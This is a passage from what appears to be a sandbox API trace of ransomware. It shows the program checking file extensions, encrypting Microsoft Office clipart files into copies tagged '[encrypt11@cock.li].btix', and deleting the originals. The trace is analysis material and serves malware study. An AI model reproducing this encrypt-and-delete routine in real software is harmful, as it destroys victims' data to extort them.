(lpString=".xls") returned 4 [0152.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.003] lstrlenW (lpString=".xlsx") returned 5 [0152.003] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.003] lstrlenW (lpString=".ppt") returned 4 [0152.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.003] lstrlenW (lpString=".zip") returned 4 [0152.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.003] lstrlenW (lpString=".rar") returned 4 [0152.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.003] lstrlenW (lpString=".bz2") returned 4 [0152.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.004] lstrlenW (lpString=".7z") returned 3 [0152.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.004] lstrlenW (lpString=".dbf") returned 4 [0152.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.004] lstrlenW (lpString=".1cd") returned 4 [0152.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0152.004] lstrlenW (lpString=".jpg") returned 4 [0152.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.004] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.004] lstrlenW (lpString="J0105294.WMF") returned 12 [0152.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.004] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=5504) returned 1 [0152.004] CloseHandle (hObject=0x398) returned 1 [0152.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0152.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.005] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.005] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.005] GetLastError () returned 0x0 [0152.005] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1580, lpOverlapped=0x0) returned 1 [0152.006] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1590, lpOverlapped=0x0) returned 1 [0152.007] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.007] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.007] SetEndOfFile (hFile=0x338) returned 1 [0152.007] CloseHandle (hObject=0x338) returned 1 [0152.007] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.007] SetEndOfFile (hFile=0x398) returned 1 [0152.008] CloseHandle (hObject=0x398) returned 1 [0152.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.009] lstrlenW (lpString=".doc") returned 4 [0152.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString=".docx") returned 5 [0152.009] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.009] lstrlenW (lpString=".pdf") returned 4 [0152.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString=".xls") returned 4 [0152.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.009] lstrlenW (lpString=".xlsx") returned 5 [0152.009] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.009] lstrlenW (lpString=".ppt") returned 4 [0152.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.009] lstrlenW (lpString=".zip") returned 4 [0152.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.009] lstrlenW (lpString=".rar") returned 4 [0152.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString=".bz2") returned 4 [0152.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString=".7z") returned 3 [0152.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.009] lstrlenW (lpString=".dbf") returned 4 [0152.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.009] lstrlenW (lpString=".1cd") returned 4 [0152.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".jpg") returned 4 [0152.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".doc") returned 4 [0152.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString=".docx") returned 5 [0152.010] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.010] lstrlenW (lpString=".pdf") returned 4 [0152.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString=".xls") returned 4 [0152.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.010] lstrlenW (lpString=".xlsx") returned 5 [0152.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.010] lstrlenW (lpString=".ppt") returned 4 [0152.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".zip") returned 4 [0152.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.010] lstrlenW (lpString=".rar") returned 4 [0152.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString=".bz2") returned 4 [0152.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString=".7z") returned 3 [0152.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".dbf") returned 4 [0152.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".1cd") returned 4 [0152.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0152.010] lstrlenW (lpString=".jpg") returned 4 [0152.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.011] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.011] lstrlenW (lpString="J0105298.WMF") returned 12 [0152.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.011] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=6320) returned 1 [0152.011] CloseHandle (hObject=0x398) returned 1 [0152.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0152.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.011] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.011] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.012] GetLastError () returned 0x0 [0152.012] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x18b0, lpOverlapped=0x0) returned 1 [0152.013] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0152.015] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.015] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.015] SetEndOfFile (hFile=0x338) returned 1 [0152.015] CloseHandle (hObject=0x338) returned 1 [0152.015] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.015] SetEndOfFile (hFile=0x398) returned 1 [0152.016] CloseHandle (hObject=0x398) returned 1 [0152.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.016] lstrlenW (lpString=".doc") returned 4 [0152.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".docx") returned 5 [0152.016] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.016] lstrlenW (lpString=".pdf") returned 4 [0152.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".xls") returned 4 [0152.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.016] lstrlenW (lpString=".xlsx") returned 5 [0152.017] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.017] lstrlenW (lpString=".ppt") returned 4 [0152.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString=".zip") returned 4 [0152.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.017] lstrlenW (lpString=".rar") returned 4 [0152.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".bz2") returned 4 [0152.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".7z") returned 3 [0152.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString=".dbf") returned 4 [0152.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString=".1cd") returned 4 [0152.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString=".jpg") returned 4 [0152.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.017] lstrlenW (lpString=".doc") returned 4 [0152.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".docx") returned 5 [0152.017] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.017] lstrlenW (lpString=".pdf") returned 4 [0152.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString=".xls") returned 4 [0152.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.017] lstrlenW (lpString=".xlsx") returned 5 [0152.018] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.018] lstrlenW (lpString=".ppt") returned 4 [0152.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.018] lstrlenW (lpString=".zip") returned 4 [0152.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.018] lstrlenW (lpString=".rar") returned 4 [0152.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.018] lstrlenW (lpString=".bz2") returned 4 [0152.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.018] lstrlenW (lpString=".7z") returned 3 [0152.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.018] lstrlenW (lpString=".dbf") returned 4 [0152.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.018] lstrlenW (lpString=".1cd") returned 4 [0152.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0152.018] lstrlenW (lpString=".jpg") returned 4 [0152.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.018] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.018] lstrlenW (lpString="J0105306.WMF") returned 12 [0152.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.019] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=4320) returned 1 [0152.019] CloseHandle (hObject=0x398) returned 1 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0152.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0152.019] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.019] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0152.020] GetLastError () returned 0x0 [0152.020] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x10e0, lpOverlapped=0x0) returned 1 [0152.021] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x10f0, lpOverlapped=0x0) returned 1 [0152.278] ReadFile (in: hFile=0x398, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.278] WriteFile (in: hFile=0x338, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0152.278] SetEndOfFile (hFile=0x338) returned 1 [0152.278] CloseHandle (hObject=0x338) returned 1 [0152.278] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.278] SetEndOfFile (hFile=0x398) returned 1 [0152.280] CloseHandle (hObject=0x398) returned 1 [0152.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0152.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.281] lstrlenW (lpString=".doc") returned 4 [0152.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString=".docx") returned 5 [0152.281] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.281] lstrlenW (lpString=".pdf") returned 4 [0152.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString=".xls") returned 4 [0152.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.281] lstrlenW (lpString=".xlsx") returned 5 [0152.281] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.281] lstrlenW (lpString=".ppt") returned 4 [0152.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.281] lstrlenW (lpString=".zip") returned 4 [0152.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.281] lstrlenW (lpString=".rar") returned 4 [0152.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString=".bz2") returned 4 [0152.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString=".7z") returned 3 [0152.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.281] lstrlenW (lpString=".dbf") returned 4 [0152.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.281] lstrlenW (lpString=".1cd") returned 4 [0152.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".jpg") returned 4 [0152.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".doc") returned 4 [0152.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString=".docx") returned 5 [0152.282] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.282] lstrlenW (lpString=".pdf") returned 4 [0152.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString=".xls") returned 4 [0152.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.282] lstrlenW (lpString=".xlsx") returned 5 [0152.282] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.282] lstrlenW (lpString=".ppt") returned 4 [0152.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0152.282] lstrlenW (lpString=".zip") returned 4 [0152.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.282] lstrlenW (lpString=".rar") returned 4 [0152.282] lstrcmpiW 